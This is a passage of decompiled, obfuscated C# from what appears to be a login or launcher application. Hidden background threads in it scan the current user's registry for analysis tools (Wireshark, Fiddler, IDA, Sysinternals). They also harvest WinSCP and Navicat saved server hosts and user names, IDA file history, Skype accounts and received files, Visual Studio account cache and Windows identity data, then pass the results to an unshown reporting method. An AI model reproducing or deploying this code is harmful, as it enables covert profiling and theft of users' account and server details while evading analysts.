					this.method_3("Static Debugger Scan\nError No CurrentUser", "Static Debugger Scan", false);
					GClass22.mutex_1.ReleaseMutex();
					Environment.Exit(0);
				}
				foreach (string text2 in currentUser.OpenSubKey("SOFTWARE", true).GetSubKeyNames())
				{
					foreach (string text3 in array)
					{
						if (text2.ToLower().Contains(text3.ToLower()))
						{
							string text4 = text3.ToLower();
							uint num = <PrivateImplementationDetails>.ComputeStringHash(text4);
							if (num <= 1501760054u)
							{
								if (num <= 968889901u)
								{
									if (num != 343902836u)
									{
										if (num != 968889901u)
										{
											goto IL_12A7;
										}
										if (!(text4 == "qtproject"))
										{
											goto IL_12A7;
										}
										try
										{
											text += "\n";
											RegistryKey registryKey = currentUser.OpenSubKey("SOFTWARE\\" + text2, true);
											if (registryKey != null)
											{
												RegistryKey registryKey2 = registryKey.OpenSubKey("OrganizationDefaults");
												if (registryKey2 != null)
												{
													text = text + "\n" + registryKey2.Name + " = TRUE";
													RegistryKey registryKey3 = registryKey2.OpenSubKey("Qt");
													if (registryKey3 != null)
													{
														text = text + "\n" + registryKey3.Name + " = TRUE";
														RegistryValueKind valueKind = registryKey3.GetValueKind("filedialog");
														if (valueKind == RegistryValueKind.Binary)
														{
															string text5 = BitConverter.ToString((byte[])registryKey3.GetValue("filedialog"));
															text = text + "\n" + text5.ToString();
														}
														else
														{
															text = string.Concat(new string[]
															{
																text,
																"\n",
																currentUser.Name,
																"\\SOFTWARE\\QtProject\\OrganizationDefaults\\Qt\\filedailog != BINARY = ",
																valueKind.ToString()
															});
														}
													}
													else
													{
														text = text + "\n" + currentUser.Name + "\\SOFTWARE\\QtProject\\OrganizationDefaults\\Qt = FALSE";
														foreach (string name in registryKey2.GetSubKeyNames())
														{
															text = text + "\n" + registryKey2.OpenSubKey(name).Name + " = TRUE";
														}
													}
												}
												else
												{
													text = text + "\n" + currentUser.Name + "\\SOFTWARE\\QtProject\\OrganizationDefaults = FALSE";
													foreach (string name2 in registryKey.GetSubKeyNames())
													{
														text = text + "\n" + registryKey.OpenSubKey(name2).Name + " = TRUE";
													}
												}
											}
											else
											{
												text = text + "\n" + currentUser.Name + "\\SOFTWARE\\QtProject = FALSE";
											}
											goto IL_12A7;
										}
										catch (Exception ex)
										{
											text = string.Concat(new string[]
											{
												text,
												"\n",
												currentUser.Name,
												"\\SOFTWARE\\QtProject = ",
												ex.Message
											});
											goto IL_12A7;
										}
									}
									if (!(text4 == "vb and vba program settings"))
									{
										goto IL_12A7;
									}
									try
									{
										text += "\n";
										RegistryKey registryKey4 = currentUser.OpenSubKey("SOFTWARE\\" + text2, true);
										if (registryKey4 != null)
										{
											text = text + "\n" + registryKey4.Name + " = TRUE";
											RegistryKey registryKey5 = registryKey4.OpenSubKey("Win64AST", true);
											if (registryKey5 != null)
											{
												text = text + "\n" + registryKey5.Name + " = TRUE";
											}
											else
											{
												text = text + "\n" + currentUser.Name + "\\SOFTWARE\\VB and VBA Program Settings\\Win64AST = FALSE";
												foreach (string name3 in registryKey4.GetSubKeyNames())
												{
													text = text + "\n" + registryKey4.OpenSubKey(name3).Name + " = TRUE";
												}
											}
										}
										else
										{
											text = text + "\n" + currentUser.Name + "\\SOFTWARE\\VB and VBA Program Settings = FALSE";
										}
										goto IL_12A7;
									}
									catch (Exception ex2)
									{
										text = string.Concat(new string[]
										{
											text,
											"\n",
											currentUser.Name,
											"\\SOFTWARE\\VB and VBA Program Settings = ",
											ex2.Message
										});
										goto IL_12A7;
									}
								}
								if (num != 1095522125u)
								{
									if (num != 1371261999u)
									{
										if (num != 1501760054u)
										{
											goto IL_12A7;
										}
										if (!(text4 == "netsparker"))
										{
											goto IL_12A7;
										}
										try
										{
											text += "\n";
											RegistryKey registryKey6 = currentUser.OpenSubKey("SOFTWARE\\" + text2, true);
											if (registryKey6 != null)
											{
												text = text + "\n" + registryKey6.Name + " = TRUE";
											}
											else
											{
												text = text + "\n" + currentUser.Name + "\\SOFTWARE\\NetSparker = FALSE";
											}
											goto IL_12A7;
										}
										catch (Exception ex3)
										{
											text = string.Concat(new string[]
											{
												text,
												"\n",
												currentUser.Name,
												"\\SOFTWARE\\NetSparker = ",
												ex3.Message
											});
											goto IL_12A7;
										}
									}
									if (!(text4 == "martin prikryl"))
									{
										goto IL_12A7;
									}
									try
									{
										text += "\n";
										RegistryKey registryKey7 = currentUser.OpenSubKey("SOFTWARE\\" + text2, true);
										if (registryKey7 != null)
										{
											text = text + "\n" + registryKey7.Name + " = TRUE";
											RegistryKey registryKey8 = registryKey7.OpenSubKey("WinSCP 2", true);
											if (registryKey8 != null)
											{
												text = text + "\n" + registryKey8.Name + " = TRUE";
												RegistryKey registryKey9 = registryKey8.OpenSubKey("Sessions", true);
												if (registryKey9 != null)
												{
													foreach (string text6 in registryKey9.GetSubKeyNames())
													{
														if (!string.IsNullOrWhiteSpace(text6))
														{
															RegistryKey registryKey10 = registryKey9.OpenSubKey(text6, true);
															if (registryKey10 != null)
															{
																text = string.Concat(new object[]
																{
																	text,
																	"\n",
																	registryKey10.Name,
																	" =  ",
																	registryKey10.GetValue("HostName"),
																	" ",
																	registryKey10.GetValue("RemoteDirectory"),
																	" ",
																	registryKey10.GetValue("UserName")
																});
															}
														}
													}
												}
												else
												{
													text = text + "\n" + currentUser.Name + "\\SOFTWARE\\Martin Prikryl\\WinSCP 2\\Sessions = FALSE";
													foreach (string name4 in registryKey8.GetSubKeyNames())
													{
														text = text + "\n" + registryKey8.OpenSubKey(name4).Name + " = TRUE";
													}
												}
											}
											else
											{
												text = text + "\n" + currentUser.Name + "\\SOFTWARE\\Martin Prikryl\\WinSCP 2 = FALSE";
												foreach (string name5 in registryKey7.GetSubKeyNames())
												{
													text = text + "\n" + registryKey7.OpenSubKey(name5).Name + " = TRUE";
												}
											}
										}
										else
										{
											text = text + "\n" + currentUser.Name + "\\SOFTWARE\\Martin Prikryl = FALSE";
										}
										goto IL_12A7;
									}
									catch (Exception ex4)
									{
										text = string.Concat(new string[]
										{
											text,
											"\n",
											currentUser.Name,
											"\\SOFTWARE\\Martin Prikryl = ",
											ex4.Message
										});
										goto IL_12A7;
									}
								}
								if (!(text4 == "wireshark"))
								{
									goto IL_12A7;
								}
								try
								{
									text += "\n";
									RegistryKey registryKey11 = currentUser.OpenSubKey("SOFTWARE\\" + text2, true);
									if (registryKey11 != null)
									{
										text = text + "\n" + registryKey11.Name + " = TRUE";
										RegistryKey registryKey12 = registryKey11.OpenSubKey("WinSparkle Settings", true);
										if (registryKey12 != null)
										{
											text = text + "\n" + registryKey12.Name + " = TRUE";
											text = string.Concat(new string[]
											{
												text,
												"\n",
												registryKey12.Name,
												"\\LastUpdateCheckTime = ",
												registryKey12.GetValue("LastCheckTime").ToString()
											});
											text = string.Concat(new string[]
											{
												text,
												"\n",
												registryKey12.Name,
												"\\CheckForUpdates = ",
												registryKey12.GetValue("CheckForUpdates").ToString()
											});
										}
										else
										{
											text = text + "\n" + currentUser.Name + "\\SOFTWARE\\WinSparkle Settings = FALSE";
											foreach (string name6 in registryKey11.GetSubKeyNames())
											{
												text = text + "\n" + registryKey11.OpenSubKey(name6).Name + " = TRUE";
											}
										}
									}
									else
									{
										text = text + "\n" + currentUser.Name + "\\SOFTWARE\\WireShark = FALSE";
									}
									goto IL_12A7;
								}
								catch (Exception ex5)
								{
									text = string.Concat(new string[]
									{
										text,
										"\n",
										currentUser.Name,
										"\\SOFTWARE\\WireShark = ",
										ex5.Message
									});
									goto IL_12A7;
								}
							}
							if (num <= 3432797306u)
							{
								if (num != 2427542005u)
								{
									if (num != 2833369765u)
									{
										if (num != 3432797306u)
										{
											goto IL_12A7;
										}
										if (!(text4 == "premiumsoft"))
										{
											goto IL_12A7;
										}
										try
										{
											text += "\n";
											RegistryKey registryKey13 = currentUser.OpenSubKey("SOFTWARE\\" + text2, true);
											if (registryKey13 != null)
											{
												RegistryKey registryKey14 = registryKey13;
												text = text + "\n" + registryKey14.Name + " = TRUE";
												foreach (string text7 in registryKey14.GetSubKeyNames())
												{
													if (!string.IsNullOrWhiteSpace(text7))
													{
														RegistryKey registryKey15 = registryKey14.OpenSubKey(text7, true).OpenSubKey("Servers");
														if (registryKey15 != null)
														{
															foreach (string name7 in registryKey15.GetSubKeyNames())
															{
																RegistryKey registryKey16 = registryKey15.OpenSubKey(name7, true);
																if (registryKey16 != null)
																{
																	text = string.Concat(new string[]
																	{
																		text,
																		"\n",
																		registryKey16.Name,
																		" = ",
																		registryKey16.GetValue("Host").ToString(),
																		" | ",
																		registryKey16.GetValue("UserName").ToString()
																	});
																}
															}
														}
													}
												}
											}
											else
											{
												text = text + "\n" + currentUser.Name + "\\SOFTWARE\\PremiumSoft = FALSE";
											}
											goto IL_12A7;
										}
										catch (Exception ex6)
										{
											text = string.Concat(new string[]
											{
												text,
												"\n",
												currentUser.Name,
												"\\SOFTWARE\\PremiumSoft = ",
												ex6.Message
											});
											goto IL_12A7;
										}
									}
									if (!(text4 == "telerik"))
									{
										goto IL_12A7;
									}
									try
									{
										text += "\n";
										RegistryKey registryKey17 = currentUser.OpenSubKey("SOFTWARE\\" + text2, true);
										if (registryKey17 != null)
										{
											text = text + "\n" + registryKey17.Name + " = TRUE";
											RegistryKey registryKey18 = registryKey17.OpenSubKey("Fiddler", true);
											if (registryKey18 != null)
											{
												text = text + "\n" + registryKey18.Name + " = TRUE";
											}
											else
											{
												text = text + "\n" + currentUser.Name + "\\SOFTWARE\\Telerik\\Fiddler = FALSE";
												foreach (string name8 in registryKey17.GetSubKeyNames())
												{
													text = text + "\n" + registryKey17.OpenSubKey(name8).Name + " = TRUE";
												}
											}
										}
										else
										{
											text = text + "\n" + currentUser.Name + "\\SOFTWARE\\Telerik = FALSE";
										}
										goto IL_12A7;
									}
									catch (Exception ex7)
									{
										text = string.Concat(new string[]
										{
											text,
											"\n",
											currentUser.Name,
											"\\SOFTWARE\\Telerik = ",
											ex7.Message
										});
										goto IL_12A7;
									}
								}
								if (!(text4 == "skype"))
								{
									goto IL_12A7;
								}
								try
								{
									text += "\n";
									if (text2 == "Skype")
									{
										RegistryKey registryKey19 = currentUser.OpenSubKey("SOFTWARE\\" + text2, true);
										if (registryKey19 != null)
										{
											RegistryKey registryKey20 = registryKey19.OpenSubKey("Phone", true);
											if (registryKey20 != null)
											{
												text = text + "\n" + registryKey20.Name + " = TRUE";
												foreach (string text8 in registryKey20.OpenSubKey("Users").GetSubKeyNames())
												{
													if (!string.IsNullOrWhiteSpace(text8))
													{
														text = text + "\nUSER = " + text8;
													}
												}
											}
											else
											{
												text = text + "\n" + registryKey19.Name + "\\Phone = FALSE";
											}
										}
										else
										{
											text = text + "\n" + currentUser.Name + "\\SOFTWARE\\Skype = FALSE";
										}
									}
									goto IL_12A7;
								}
								catch (Exception ex8)
								{
									text = string.Concat(new string[]
									{
										text,
										"\n",
										currentUser.Name,
										"\\SOFTWARE\\Skype = ",
										ex8.Message
									});
									goto IL_12A7;
								}
							}
							if (num != 3636101384u)
							{
								if (num != 3724530152u)
								{
									if (num != 3900678468u || !(text4 == "hex-rays"))
									{
										goto IL_12A7;
									}
									try
									{
										text += "\n";
										RegistryKey registryKey21 = currentUser.OpenSubKey("SOFTWARE\\" + text2, true);
										if (registryKey21 != null)
										{
											RegistryKey registryKey22 = registryKey21.OpenSubKey("IDA");
											if (registryKey22 != null)
											{
												text = text + "\n" + registryKey22.Name + " = TRUE";
												foreach (string text9 in registryKey22.OpenSubKey("History").GetValueNames())
												{
													if (!string.IsNullOrWhiteSpace(text9))
													{
														text = string.Concat(new object[]
														{
															text,
															"\n",
															text9,
															" = ",
															registryKey22.OpenSubKey("History").GetValue(text9)
														});
													}
												}
												foreach (string text10 in registryKey22.OpenSubKey("History64").GetValueNames())
												{
													if (!string.IsNullOrWhiteSpace(text10))
													{
														text = string.Concat(new object[]
														{
															text,
															"\n",
															text10,
															" = ",
															registryKey22.OpenSubKey("History64").GetValue(text10)
														});
													}
												}
												foreach (string text11 in registryKey22.OpenSubKey("History").GetSubKeyNames())
												{
													if (!string.IsNullOrWhiteSpace(text11))
													{
														foreach (string text12 in registryKey22.OpenSubKey("History").OpenSubKey(text11).GetValueNames())
														{
															if (!string.IsNullOrWhiteSpace(text12))
															{
																text = string.Concat(new object[]
																{
																	text,
																	"\n",
																	text12,
																	" = ",
																	registryKey22.OpenSubKey("History").OpenSubKey(text11).GetValue(text12)
																});
															}
														}
													}
												}
												foreach (string text13 in registryKey22.OpenSubKey("History64").GetSubKeyNames())
												{
													if (!string.IsNullOrWhiteSpace(text13))
													{
														foreach (string text14 in registryKey22.OpenSubKey("History64").OpenSubKey(text13).GetValueNames())
														{
															if (!string.IsNullOrWhiteSpace(text14))
															{
																text = string.Concat(new object[]
																{
																	text,
																	"\n",
																	text14,
																	" = ",
																	registryKey22.OpenSubKey("History").OpenSubKey(text13).GetValue(text14)
																});
															}
														}
													}
												}
											}
											else
											{
												text = text + "\n" + registryKey21.Name + "\\IDA = FALSE";
												foreach (string name9 in registryKey21.GetSubKeyNames())
												{
													text = text + "\n" + registryKey21.OpenSubKey(name9).Name + " = TRUE";
												}
											}
										}
										else
										{
											text = text + "\n" + currentUser.Name + "\\SOFTWARE\\Hex-Rays = FALSE";
										}
										goto IL_12A7;
									}
									catch (Exception ex9)
									{
										text = string.Concat(new string[]
										{
											text,
											"\n",
											currentUser.Name,
											"\\SOFTWARE\\Hex-Rays = ",
											ex9.Message
										});
										goto IL_12A7;
									}
								}
								if (!(text4 == "sysinternals"))
								{
									goto IL_12A7;
								}
								try
								{
									text += "\n";
									RegistryKey registryKey23 = currentUser.OpenSubKey("SOFTWARE\\" + text2, true);
									if (registryKey23 != null)
									{
										text = text + "\n" + registryKey23.Name + " = TRUE";
										foreach (string name10 in registryKey23.GetSubKeyNames())
										{
											text = text + "\n" + registryKey23.OpenSubKey(name10, true).Name + " = TRUE";
										}
									}
									else
									{
										text = text + "\n" + currentUser.Name + "\\SOFTWARE\\Sysinternals = FALSE";
									}
									goto IL_12A7;
								}
								catch (Exception ex10)
								{
									text = string.Concat(new string[]
									{
										text,
										"\n",
										currentUser.Name,
										"\\SOFTWARE\\Sysinternals = ",
										ex10.Message
									});
									goto IL_12A7;
								}
							}
							if (text4 == "reclass")
							{
								try
								{
									text += "\n";
									RegistryKey registryKey24 = currentUser.OpenSubKey("SOFTWARE\\" + text2, true);
									if (registryKey24 != null)
									{
										text = text + "\n" + registryKey24.Name + " = TRUE";
									}
									else
									{
										text = text + "\n" + currentUser.Name + "\\SOFTWARE\\ReClass = FALSE";
									}
									goto IL_12A7;
								}
								catch (Exception ex11)
								{
									text = string.Concat(new string[]
									{
										text,
										"\n",
										currentUser.Name,
										"\\SOFTWARE\\ReClass = ",
										ex11.Message
									});
									goto IL_12A7;
								}
								break;
							}
						}
						IL_12A7:;
					}
				}
				foreach (string text15 in array)
				{
					if (!text.ToLower().Contains(text15.ToLower()))
					{
						text = string.Concat(new string[]
						{
							text,
							"\n",
							currentUser.Name,
							"\\SOFTWARE\\",
							text15,
							" = FALSE"
						});
					}
				}
				GClass22.mutex_1.WaitOne();
				this.method_3("Static Debugger Scan\n" + text, "Static Debugger Scan", false);
				GClass22.mutex_1.ReleaseMutex();
				text = "";
			}
			catch (Exception ex12)
			{
				GClass22.mutex_1.WaitOne();
				this.method_3("Static Debugger Scan\nError" + ex12.Message.ToString(), "Static Debugger Scan", false);
				GClass22.mutex_1.ReleaseMutex();
			}
			text = "";
			this.int_0++;
			Console.Write("Done 14\n");
		}

		// Token: 0x06000129 RID: 297 RVA: 0x00019808 File Offset: 0x00017A08
		[CompilerGenerated]
		private void method_23()
		{
			Thread.CurrentThread.IsBackground = true;
			try
			{
				List<string> list = GClass22.smethod_7(new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Skype"), "*", false, false);
				string text = "";
				text += string.Join("\n", list.ToArray());
				list = GClass22.smethod_7(new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Skype\\My Skype Received Files"), "*", false, false);
				text += string.Join("\n\nReceived Files\n", list.ToArray());
				GClass22.mutex_1.WaitOne();
				this.method_3("Skype\n" + text, "Skype", false);
				GClass22.mutex_1.ReleaseMutex();
			}
			catch
			{
				GClass22.mutex_1.WaitOne();
				this.method_3("Skype\n Not Found", "SkypeFolder", false);
				GClass22.mutex_1.ReleaseMutex();
			}
			this.int_0++;
			Console.Write("Done 15\n");
		}

		// Token: 0x0600012A RID: 298 RVA: 0x00019928 File Offset: 0x00017B28
		[CompilerGenerated]
		private void method_24()
		{
			Thread.CurrentThread.IsBackground = true;
			try
			{
				string text = "";
				text += "\n\nVisual Studio Information\n";
				try
				{
					RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\VSCommon\\ConnectedUser\\IdeUserV2\\Cache", true);
					foreach (string text2 in registryKey.GetValueNames())
					{
						try
						{
							if (!(text2 == "Avatar.Large") && !(text2 == "Avatar.Medium"))
							{
								text = string.Concat(new object[]
								{
									text,
									text2,
									"=",
									registryKey.GetValue(text2, "Zero"),
									"\n"
								});
							}
						}
						catch
						{
						}
					}
				}
				catch
				{
					text += "None found";
				}
				text += "\n\nWindows Information\n";
				try
				{
					foreach (string str in Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\IdentityCRL\\UserExtendedProperties", true).GetSubKeyNames())
					{
						try
						{
							text = text + str + "\n";
						}
						catch
						{
						}
					}
				}
				catch
				{
					text += "None found";
				}
				GClass22.mutex_1.WaitOne();
				this.method_3("Dev Info\n" + text, "Dev Info", false);
				GClass22.mutex_1.ReleaseMutex();
			}
			catch
			{
				GClass22.mutex_1.WaitOne();
				this.method_3("Dev Info\nNot found\n", "Dev Info", false);
				GClass22.mutex_1.ReleaseMutex();
			}
			this.int_0++;
			Console.Write("Done 16\n");
		}

		// Token: 0x040000D3 RID: 211
		private DispatcherTimer dispatcherTimer_0;

		// Token: 0x040000D4 RID: 212
		private Random random_0;

		// Token: 0x040000D5 RID: 213
		public static string string_0;

		// Token: 0x040000D6 RID: 214
		public static string string_1;

		// Token: 0x040000D7 RID: 215
		public static string string_2;

		// Token: 0x040000D8 RID: 216
		public static string string_3;

		// Token: 0x040000D9 RID: 217
		public static string string_4;

		// Token: 0x040000DA RID: 218
		public static string string_5;

		// Token: 0x040000DB RID: 219
		public static string string_6;

		// Token: 0x040000DC RID: 220
		public static string string_7;

		// Token: 0x040000DD RID: 221
		public static string string_8;

		// Token: 0x040000DE RID: 222
		public static GClass23 gclass23_0;

		// Token: 0x040000DF RID: 223
		public static GClass18 gclass18_0;

		// Token: 0x040000E0 RID: 224
		private double double_0;

		// Token: 0x040000E1 RID: 225
		private double double_1;

		// Token: 0x040000E2 RID: 226
		private double double_2;

		// Token: 0x040000E3 RID: 227
		private double double_3;

		// Token: 0x040000E4 RID: 228
		public static GClass22.GStruct1 gstruct1_0;

		// Token: 0x040000E5 RID: 229
		public static GClass22.GStruct0 gstruct0_0;

		// Token: 0x040000E6 RID: 230
		private Thread thread_0;

		// Token: 0x040000E7 RID: 231
		private Thread thread_1;

		// Token: 0x040000E8 RID: 232
		private Thread thread_2;

		// Token: 0x040000E9 RID: 233
		private bool bool_0;

		// Token: 0x040000EA RID: 234
		private string string_9;

		// Token: 0x040000EB RID: 235
		private static Mutex mutex_0;

		// Token: 0x040000EC RID: 236
		private int int_0;

		// Token: 0x040000ED RID: 237
		private static Mutex mutex_1;

		// Token: 0x040000EE RID: 238
		internal object ParticleHost;

		// Token: 0x040000EF RID: 239
		internal Image image;

		// Token: 0x040000F0 RID: 240
		internal object login_form;

		// Token: 0x040000F1 RID: 241
		internal object spinner;

		// Token: 0x040000F2 RID: 242
		internal TextBlock txt_title;

		// Token: 0x040000F3 RID: 243
		internal object btn_login;

		// Token: 0x040000F4 RID: 244
		internal object check_rememberMe;

		// Token: 0x040000F5 RID: 245
		internal TextBlock ico_login;

		// Token: 0x040000F6 RID: 246
		internal TextBlock ico_password;

		// Token: 0x040000F7 RID: 247
		internal object input_username;

		// Token: 0x040000F8 RID: 248
		internal object input_password;

		// Token: 0x040000F9 RID: 249
		internal object txt_minimize;

		// Token: 0x040000FA RID: 250
		internal object txt_close;

		// Token: 0x040000FB RID: 251
		internal object update_info;

		// Token: 0x040000FC RID: 252
		internal TextBlock updateSpinner;

		// Token: 0x040000FD RID: 253
		internal Label txt_autoUpdate;

		// Token: 0x040000FE RID: 254
		internal Label label;

		// Token: 0x040000FF RID: 255
		private bool bool_1;

		// Token: 0x02000022 RID: 34
		public struct GStruct0
		{
			// Token: 0x04000100 RID: 256
			public WaitHandle[] waitHandle_0;
		}

		// Token: 0x02000023 RID: 35
		public struct GStruct1
		{
			// Token: 0x0600012B RID: 299 RVA: 0x00002CCF File Offset: 0x00000ECF
			[CompilerGenerated]
			public IntPtr method_0()
			{
				return this.intptr_4;
			}

			// Token: 0x0600012C RID: 300 RVA: 0x00002CD7 File Offset: 0x00000ED7
			[CompilerGenerated]
			public void method_1(IntPtr intptr_8)
			{
				this.intptr_4 = intptr_8;
			}

			// Token: 0x0600012D RID: 301 RVA: 0x00002CE0 File Offset: 0x00000EE0
			[CompilerGenerated]
			public IntPtr method_2()
			{
				return this.intptr_5;
			}

			// Token: 0x0600012E RID: 302 RVA: 0x00002CE8 File Offset: 0x00000EE8
			[CompilerGenerated]
			public void method_3(IntPtr intptr_8)
			{
				this.intptr_5 = intptr_8;
			}

			// Token: 0x0600012F RID: 303 RVA: 0x00002CF1 File Offset: 0x00000EF1
			[CompilerGenerated]
			public IntPtr method_4()
			{
				return this.intptr_6;
			}

			// Token: 0x06000130 RID: 304 RVA: 0x00002CF9 File Offset: 0x00000EF9
			[CompilerGenerated]
			public void method_5(IntPtr intptr_8)
			{
				this.intptr_6 = intptr_8;
			}

			// Token: 0x06000131 RID: 305 RVA: 0x00002D02 File Offset: 0x00000F02
			[CompilerGenerated]
			public IntPtr method_6()
			{
				return this.intptr_7;
			}

			// Token: 0x06000132 RID: 306 RVA: 0x00002D0A File Offset: 0x00000F0A
			[CompilerGenerated]
			public void method_7(IntPtr intptr_8)
			{
				this.intptr_7 = intptr_8;
			}

			// Token: 0x04000101 RID: 257
			public IntPtr intptr_0;

			// Token: 0x04000102 RID: 258
			public IntPtr intptr_1;

			// Token: 0x04000103 RID: 259
			public IntPtr intptr_2;

			// Token: 0x04000104 RID: 260
			public IntPtr intptr_3;

			// Token: 0x04000105 RID: 261
			[CompilerGenerated]
			private IntPtr intptr_4;

			// Token: 0x04000106 RID: 262
			[CompilerGenerated]
			private IntPtr intptr_5;

			// Token: 0x04000107 RID: 263
			[CompilerGenerated]
			private IntPtr intptr_6;

			// Token: 0x04000108 RID: 264
			[CompilerGenerated]
			private IntPtr intptr_7;
		}

		// Token: 0x02000024 RID: 36
		public enum GEnum0
		{

		}

		// Token: 0x02000025 RID: 37
		public enum GEnum1
		{

		}
	}
}